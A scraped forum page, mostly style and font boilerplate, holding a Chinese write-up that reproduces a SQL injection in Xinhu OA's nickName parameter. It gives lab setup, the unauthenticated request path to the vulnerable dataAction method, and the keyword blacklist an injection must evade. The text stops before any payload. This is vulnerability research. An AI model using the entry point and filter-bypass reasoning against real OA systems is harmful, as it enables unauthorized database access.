LDAsMCwxLDMsNy40cS4xNyw4LjUzLTcuOT
|
|||
|
|
<style>a{text-decoration:none}a:focus,a:hover{color:#004e31;text-decoration:underline}.navbar-inverse{background-color:#2a8c70;border-color:#2b7a5c}.navbar-inverse .navbar-nav>li>a{color:#fff;padding-left:6px;padding-right:6px}.navbar-inverse .navbar-collapse,.navbar-inverse .navbar-form{border-color:#008151}@media (max-width:767px){}@media (max-width:767px){}.tag{display:inline-block;padding:0 8px;color:#017e66;background-color:#E7F2ED;height:24px;line-height:24px;font-weight:400;font-size:13px;text-align:center}.tag[href]:focus,.tag[href]:hover{background-color:#017e66;color:#fff;text-decoration:none}.btn-primary{border-color:#008151;background-color:#009a61;color:#fff}.btn-primary.active,.btn-primary:active,.btn-primary:focus,.btn-primary:hover,.open>.btn-primary.dropdown-toggle{border-color:#00432a;background-color:#006741;color:#fff}.btn-primary.active,.btn-primary:active,.open>.btn-primary.dropdown-toggle{background-image:none}.btn-success{border-color:#4cae4c;background-color:#5cb85c;color:#fff}</style>
|
|||
|
|
<style>@font-face{font-family:qax-design-icons;src:/* original URL: https://forum.butian.net/static/js/qaxd/fonts/qax-design-icons.woff */url(data:font/woff;base64,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
|
|||
|
|
<style>@-moz-keyframes blink{50%{background-color:transparent}}@-webkit-keyframes blink{50%{background-color:transparent}}@keyframes blink{50%{background-color:transparent}}@media print{}pre code.hljs{overflow-x:auto}.hljs{color:#000}.hljs-keyword{color:#00f}.hljs-string{color:#a31515}.markdown-body{color-scheme:light;--color-prettylights-syntax-comment:#6e7781;--color-prettylights-syntax-constant:#0550ae;--color-prettylights-syntax-entity:#8250df;--color-prettylights-syntax-storage-modifier-import:#24292f;--color-prettylights-syntax-entity-tag:#116329;--color-prettylights-syntax-keyword:#cf222e;--color-prettylights-syntax-string:#0a3069;--color-prettylights-syntax-variable:#953800;--color-prettylights-syntax-brackethighlighter-unmatched:#82071e;--color-prettylights-syntax-invalid-illegal-text:#f6f8fa;--color-prettylights-syntax-invalid-illegal-bg:#82071e;--color-prettylights-syntax-carriage-return-text:#f6f8fa;--color-prettylights-syntax-carriage-return-bg:#cf222e;--color-prettylights-syntax-string-regexp:#116329;--color-prettylights-syntax-markup-list:#3b2300;--color-prettylights-syntax-markup-heading:#0550ae;--color-prettylights-syntax-markup-italic:#24292f;--color-prettylights-syntax-markup-bold:#24292f;--color-prettylights-syntax-markup-deleted-text:#82071e;--color-prettylights-syntax-markup-deleted-bg:#FFEBE9;--color-prettylights-syntax-markup-inserted-text:#116329;--color-prettylights-syntax-markup-inserted-bg:#dafbe1;--color-prettylights-syntax-markup-changed-text:#953800;--color-prettylights-syntax-markup-changed-bg:#ffd8b5;--color-prettylights-syntax-markup-ignored-text:#eaeef2;--color-prettylights-syntax-markup-ignored-bg:#0550ae;--color-prettylights-syntax-meta-diff-range:#8250df;--color-prettylights-syntax-brackethighlighter-angle:#57606a;--color-prettylights-syntax-sublimelinter-gutter-mark:#8c959f;--color-prettylights-syntax-constant-other-reference-link:#0a3069;--color-fg-default:#24292f;--color-fg-muted:#57606a;--color-fg-subtle:#6e7781;--color-canvas-default:#ffffff;--color-canvas-subtle:#f6f8fa;--color-border-default:#d0d7de;--color-border-muted:hsl(210,18%,87%);--color-neutral-muted:rgba(175,184,193,0.2);--color-accent-fg:#0969da;--color-accent-emphasis:#0969da;--color-attention-subtle:#fff8c5;--color-danger-fg:#cf222e}.markdown-body{-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%;margin:0;color:var(--color-fg-default);background-color:var(--color-canvas-default);font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji";font-size:16px;line-height:1.5;word-wrap:break-word}.markdown-body strong{font-weight:600}.markdown-body img{border-style:none;max-width:100%;-webkit-box-sizing:content-box;box-sizing:content-box;background-color:var(--color-canvas-default)}.markdown-body ::-webkit-input-placeholder{color:inherit;opacity:0.54}.markdown-body ::-webkit-file-upload-button{-webkit-appearance:button;font:inherit}.markdown-body h2{margin-top:24px;margin-bottom:16px;line-height:1.25}.markdown-body h2{font-weight:600;padding-bottom:0.3em;font-size:1.5em;border-bottom:1px solid var(--color-border-muted)}.markdown-body ul{padding-left:2em}.markdown-body code{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace}.markdown-body pre{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;word-wrap:normal}.markdown-body ::-webkit-input-placeholder{color:var(--color-fg-subtle);opacity:1}.markdown-body ::placeholder{color:var(--color-fg-subtle);opacity:1}.markdown-body::before{display:table;content:""}.markdown-body::after{display:table;clear:both;content:""}.markdown-body>*:first-child{margin-top:0!important}.markdown-body>*:last-child{margin-bottom:0!important}.markdown-body p,.markdown-body ul,.markdown-body pre{margin-top:0;margin-bottom:16px}.markdown-body li+li{margin-top:0.25em}.markdown-body code{padding:0.2em 0.4em;margin:0;font-size:85%;background-color:var(--color-neutral-muted);border-radius:6px}.markdown-body pre code{font-size:100%}.markdown-body pre>code{word-break:n
|
|||
|
|
<style>#md_view{padding:0 20px}#md_view img:hover{cursor:pointer}</style>
|
|||
|
|
<!--[if lt IE 9]>
|
|||
|
|
<script src="/static/js/html5shiv.min.js"></script>
|
|||
|
|
<script src="/static/js/respond.min.js"></script>
|
|||
|
|
<![endif]-->
|
|||
|
|
<style>.hot{z-index:10}</style>
|
|||
|
|
<style>html #layuicss-skinlayercss{display:none;position:absolute;width:1989px}@-webkit-keyframes bounceIn{0%{opacity:0;-webkit-transform:scale(.5);transform:scale(.5)}100%{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@keyframes bounceIn{0%{opacity:0;-webkit-transform:scale(.5);-ms-transform:scale(.5);transform:scale(.5)}100%{opacity:1;-webkit-transform:scale(1);-ms-transform:scale(1);transform:scale(1)}}@-webkit-keyframes zoomInDown{0%{opacity:0;-webkit-transform:scale(.1) translateY(-2000px);transform:scale(.1) translateY(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateY(60px);transform:scale(.475) translateY(60px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}@keyframes zoomInDown{0%{opacity:0;-webkit-transform:scale(.1) translateY(-2000px);-ms-transform:scale(.1) translateY(-2000px);transform:scale(.1) translateY(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateY(60px);-ms-transform:scale(.475) translateY(60px);transform:scale(.475) translateY(60px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}@-webkit-keyframes fadeInUpBig{0%{opacity:0;-webkit-transform:translateY(2000px);transform:translateY(2000px)}100%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes fadeInUpBig{0%{opacity:0;-webkit-transform:translateY(2000px);-ms-transform:translateY(2000px);transform:translateY(2000px)}100%{opacity:1;-webkit-transform:translateY(0);-ms-transform:translateY(0);transform:translateY(0)}}@-webkit-keyframes zoomInLeft{0%{opacity:0;-webkit-transform:scale(.1) translateX(-2000px);transform:scale(.1) translateX(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateX(48px);transform:scale(.475) translateX(48px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}@keyframes zoomInLeft{0%{opacity:0;-webkit-transform:scale(.1) translateX(-2000px);-ms-transform:scale(.1) translateX(-2000px);transform:scale(.1) translateX(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateX(48px);-ms-transform:scale(.475) translateX(48px);transform:scale(.475) translateX(48px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}@-webkit-keyframes rollIn{0%{opacity:0;-webkit-transform:translateX(-100%) rotate(-120deg);transform:translateX(-100%) rotate(-120deg)}100%{opacity:1;-webkit-transform:translateX(0) rotate(0);transform:translateX(0) rotate(0)}}@keyframes rollIn{0%{opacity:0;-webkit-transform:translateX(-100%) rotate(-120deg);-ms-transform:translateX(-100%) rotate(-120deg);transform:translateX(-100%) rotate(-120deg)}100%{opacity:1;-webkit-transform:translateX(0) rotate(0);-ms-transform:translateX(0) rotate(0);transform:translateX(0) rotate(0)}}@keyframes fadeIn{0%{opacity:0}100%{opacity:1}}@-webkit-keyframes shake{0%,100%{-webkit-transform:translateX(0);transform:translateX(0)}10%,30%,50%,70%,90%{-webkit-transform:translateX(-10px);transform:translateX(-10px)}20%,40%,60%,80%{-webkit-transform:translateX(10px);transform:translateX(10px)}}@keyframes shake{0%,100%{-webkit-transform:translateX(0);-ms-transform:translateX(0);transform:translateX(0)}10%,30%,50%,70%,90%{-webkit-transform:translateX(-10px);-ms-transform:translateX(-10px);transform:translateX(-10px)}20%,40%,60%,80%{-webkit-transform:translateX(10px);-ms-transform:translateX(10px);transform:translateX(10px)}}@-webkit-keyframes fadeIn{0%{opacity:0}100%{opacity:1}}@-webkit-keyframes bounceOut{100%{opacity:0;-webkit-transform:scale(.7);transform:scale(.7)}30%{-webkit-transform:scale(1.05);transform:scale(1.05)}0%{-webkit-transform:scale(1);transform:scale(1)}}@keyframes bounceOut{100%{opacity:0;-webkit-transform:scale(.7);-ms-transform:scale(.7);transform:scale(.
|
|||
|
|
* Waves v0.7.5
|
|||
|
|
* http://fian.my.id/Waves
|
|||
|
|
*
|
|||
|
|
* Copyright 2014-2016 Alfiana E. Sibuea and other contributors
|
|||
|
|
* Released under the MIT license
|
|||
|
|
* https://github.com/fians/Waves/blob/master/LICENSE
|
|||
|
|
*/</style><style>@media (max-height:620px){}@media (max-height:783px){}@-webkit-keyframes srFadeInUp{0%{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes srFadeInUp{0%{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@-webkit-keyframes srFadeInDown{0%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}to{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}}@keyframes srFadeInDown{0%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}to{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}}</style><style>@-webkit-keyframes fadeOutUp{0%{opacity:1}to{margin-top:0;padding:0;height:0;min-height:0;opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}}@keyframes fadeOutUp{0%{opacity:1}to{margin-top:0;padding:0;height:0;min-height:0;opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}}@media (pointer:coarse){}</style><style>:root{--sr-annote-color-0:#b4d9fb;--sr-annote-color-1:#ffeb3b;--sr-annote-color-2:#a2e9f2;--sr-annote-color-3:#a1e0ff;--sr-annote-color-4:#a8ea68;--sr-annote-color-5:#ffb7da}</style><style>@-webkit-keyframes sr-annote-slideInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);visibility:visible}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes sr-annote-slideInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);visibility:visible}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@-webkit-keyframes sr-annote-slideInDown{0%{opacity:1;visibility:visible}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes sr-annote-slideInDown{0%{opacity:1;visibility:visible}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}</style><style>@-webkit-keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@-webkit-keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@-webkit-keyframes scaleAnimation{0%{opacity:0;-webkit-transform:scale(1.5);transform:scale(1.5)}to{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@keyframes scaleAnimation{0%{opacity:0;-webkit-transform:scale(1.5);transform:scale(1.5)}to{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@-webkit-keyframes fadeOut{0%{opacity:1}to{opacity:0}}@keyframes fadeOut{0%{opacity:1}to{opacity:0}}@-webkit-keyframes fadeIn{0%{opacity:0}to{opacity:1}}@keyframes fadeIn{0%{opacity:0}to{opacity:1}}@-webkit-keyframes swing{20%{-webkit-transform:rotate(15deg);transform:rotate(15deg)}40%{-webkit-transform:rotate(-10deg);transform:rotate(-10deg)}60%{-webkit-transform:rotate(5deg);transform:rotate(5deg)}80%{-webkit-transform:rotate(-5deg);transform:rotate(-5deg)}to{-webkit-transform:rotate(0deg);transform:rotate(0deg)}}@keyframes swing{20%{-webkit-transform:rotate(15deg);transform:rotate(15deg)}40%{-webkit-transform:rotate(-10deg);transform:rotate(-10deg)}60%{-webkit-transform:rotate(5deg);transform:rotate(5deg)}80%{-webkit-transform:rotate(-5deg);transform:rotate(-5deg)}to{-webkit-transform:rotate(0deg);transform:rotate(0deg)}}</style><style>@-webkit-keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:tra
|
|||
|
|
<body>
|
|||
|
|
<div class="global-nav mb-50">
|
|||
|
|
<nav class="navbar navbar-inverse navbar-fixed-top">
|
|||
|
|
<div class="container nav">
|
|||
|
|
<div class="visible-xs header-response sf-hidden">
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
</div>
|
|||
|
|
<div class="row hidden-xs">
|
|||
|
|
<div class="col-sm-9 col-md-9 col-lg-9">
|
|||
|
|
<div class=navbar-header>
|
|||
|
|
<button type=button class="navbar-toggle collapsed sf-hidden" data-toggle=collapse data-target=#global-navbar>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
</button>
|
|||
|
|
<div class=logo><a class="navbar-brand logo" href=https://forum.butian.net/></a></div>
|
|||
|
|
</div>
|
|||
|
|
<div class="collapse navbar-collapse" id=global-navbar>
|
|||
|
|
<ul class="nav navbar-nav">
|
|||
|
|
<li><a href=https://forum.butian.net/>首页 <span class=sr-only>(current)</span></a></li>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
<li><a href=https://forum.butian.net/questions>问答</a></li>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
<li><a href=https://forum.butian.net/shop>商城</a></li>
|
|||
|
|
|
|||
|
|
<li><a href=https://forum.butian.net/community>实战攻防技术</a></li>
|
|||
|
|
<li><a href=https://forum.butian.net/articles>漏洞分析与复现</a>
|
|||
|
|
<span class=hot>NEW</span>
|
|||
|
|
</li>
|
|||
|
|
<li><a href=https://forum.butian.net/movable>活动</a></li>
|
|||
|
|
<li><a href=https://forum.butian.net/questions/Play>摸鱼办</a>
|
|||
|
|
|
|||
|
|
</li>
|
|||
|
|
</ul>
|
|||
|
|
<form role=search id=top-search-form action=https://forum.butian.net/search method=GET class="navbar-form hidden-sm hidden-xs pull-right">
|
|||
|
|
<span class="btn btn-link"><span class=sr-only>搜索</span><span class="glyphicon glyphicon-search"></span></span>
|
|||
|
|
<input type=text name=word id=searchBox class=form-control placeholder value>
|
|||
|
|
</form>
|
|||
|
|
</div>
|
|||
|
|
</div>
|
|||
|
|
|
|||
|
|
</div>
|
|||
|
|
</div>
|
|||
|
|
</nav>
|
|||
|
|
</div>
|
|||
|
|
<div class="top-alert mt-60 clearfix text-center">
|
|||
|
|
<!--[if lt IE 9]>
|
|||
|
|
<div class="alert alert-danger topframe" role="alert">你的浏览器实在<strong>太太太太太太旧了</strong>，放学别走，升级完浏览器再说
|
|||
|
|
<a target="_blank" class="alert-link" href="http://browsehappy.com">立即升级</a>
|
|||
|
|
</div>
|
|||
|
|
<![endif]-->
|
|||
|
|
|
|||
|
|
</div>
|
|||
|
|
<div class=wrap>
|
|||
|
|
<div class=container>
|
|||
|
|
<div class="row mt-10">
|
|||
|
|
<div class="col-xs-12 col-md-9 main" style=width:100%>
|
|||
|
|
<div class=widget-article>
|
|||
|
|
<h3 class="title word-wrap">信呼OA nickName SQL注入漏洞复现(XVE-2024-19304)</h3>
|
|||
|
|
<ul class=taglist-inline>
|
|||
|
|
<li class=tagPopup><a class=tag href=https://forum.butian.net/topic/48>漏洞分析</a></li>
|
|||
|
|
</ul>
|
|||
|
|
<div class="content mt-10">
|
|||
|
|
<div class="quote mb-20">
|
|||
|
|
信呼OA nickName SQL注入漏洞复现(XVE-2024-19304)
|
|||
|
|
</div>
|
|||
|
|
<textarea id=md_view_content style=display:none value="信呼OA nickName SQL注入漏洞复现(XVE-2024-19304)
|
|||
|
|
---------------------------------------
|
|||
|
|
|
|||
|
|
产品介绍
|
|||
|
|
----
|
|||
|
|
|
|||
|
|
信呼OA系统是一款功能丰富、灵活易用的协同办公系统，适合中小型企业使用。其免费开源的特性使得用户可以根据自己的需求进行二次开发和定制化改造，从而更好地满足企业的管理需求。同时，系统的跨平台支持和数据自管功能也确保了用户的使用体验和数据安全。
|
|||
|
|
|
|||
|
|
影响版本
|
|||
|
|
----
|
|||
|
|
|
|||
|
|
**v2.6.2之前,最新版已经停用该方法了**
|
|||
|
|
|
|||
|
|
环境搭建
|
|||
|
|
----
|
|||
|
|
|
|||
|
|
搭建环境：phpstudy、php5.6.9、信呼oa v2.6.2
|
|||
|
|
|
|||
|
|
进入navicat新建一个数据库，将`\\webmain\\install`下的.sql文件导入数据库中
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
将源码拉入到phpstudy的WWW目录下，配置phpstudy
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
访问该地址localhost:82，进入安装页面，点击知道了
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
之后进入本地配置，输入自己的数据库密码、获取信呼官网key(需要登录)之后，点击直接提交
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
之后就得到默认的账号密码
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
进入到首页登录，输入账号、密码
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
漏洞分析
|
|||
|
|
----
|
|||
|
|
|
|||
|
|
来到`index.php`分析代码
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
从`$rock`对象中获取`rewriteurl`参数的值，并赋给`$_uurl`变量。
|
|||
|
|
|
|||
|
|
**如果`$_uurl`不为空，则进行以下操作：**
|
|||
|
|
|
|||
|
|
- 清除`$_GET`数组中的`m`、`d`和`a`参数。
|
|||
|
|
- 将`$m`设置为`$_uurl`的值。
|
|||
|
|
- 使用`_`分割`$_uurl`，根据分割结果设置`$d`、`$m`和`$a`。
|
|||
|
|
- 解析`$_SERVER['REQUEST_URI']`中的查询字符串，并将参数添加到`$_GET`数组中
|
|||
|
|
|
|||
|
|
**如果`$_uurl`为空，则从`$rock`对象中获取`m`、`d`和`a`参数的值。**
|
|||
|
|
|
|||
|
|
**分析代码**
|
|||
|
|
|
|||
|
|
所以，如果没有进行登陆，我们需要给m、d、a三个参数分别传入相对应的值。在POC中使用get传参
|
|||
|
|
|
|||
|
|
`?m=openmodhetong|openapi&d=task&a=data`
|
|||
|
|
|
|||
|
|
`/webmain/task/openapi/openmodhetongAction.php`
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
通过跟进到这里我们会发现a后面的参数是对应方法的名字
|
|||
|
|
|
|||
|
|
`nickName`对应的方法是`dataAction`,所以poc里面a的参数的值为`data`
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
从这个地方也能看出来,
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
`m`的值是调用openapi,在源码目录下找到这个地方
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
`d`的值是一个固定的值为`task`
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
**然后进入到task/openapi/openmodhetongAction.php的dataAction方法中**
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
该方法是通过get方法依次获取请求中的`moblie、xcytype、nickname`等参数，并将这些参数赋值给`uarr`数组中,
|
|||
|
|
|
|||
|
|
之后根据`row($where)`的返回值不同给`$uarr['adddt']`或`$uarr['optdt']`赋值，最后调用`record`方法进行数据库查询
|
|||
|
|
|
|||
|
|
我们进入到get方法中查看是否有什么过滤、点击ctrl进入到get方法声明中
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
接着进入到`rockClass.php`中
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
这个方法只是判断是否进行get传参如果传参成功就进行赋值操作，
|
|||
|
|
|
|||
|
|
之后进行非空判断，调用`jmucade`方法()将其值返回。该方法中并没有对sql语句进行过滤
|
|||
|
|
|
|||
|
|
我们回到这个类的头部发现，重新定义了`\_\_construct()`魔术方法
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
当我们创建一个rockClass对象时，会自动调用这个魔术方法。这个魔术方法会过滤大部分sql注入一些敏感字符，如果想要造成sql注入就必须在字符串中不出现这些敏感字符
|
|||
|
|
|
|||
|
|
```php
|
|||
|
|
'select ,
|
|||
|
|
|
|||
|
|
alter table,delete ,drop ,update ,insert into,load\_file,/\*,\*/,union,<script,</script,sleep(,outfile,eval(,user(,phpinfo(),select\*,union%20,sleep%20,select%20,delete%20,drop%20,and%20');
|
|||
|
|
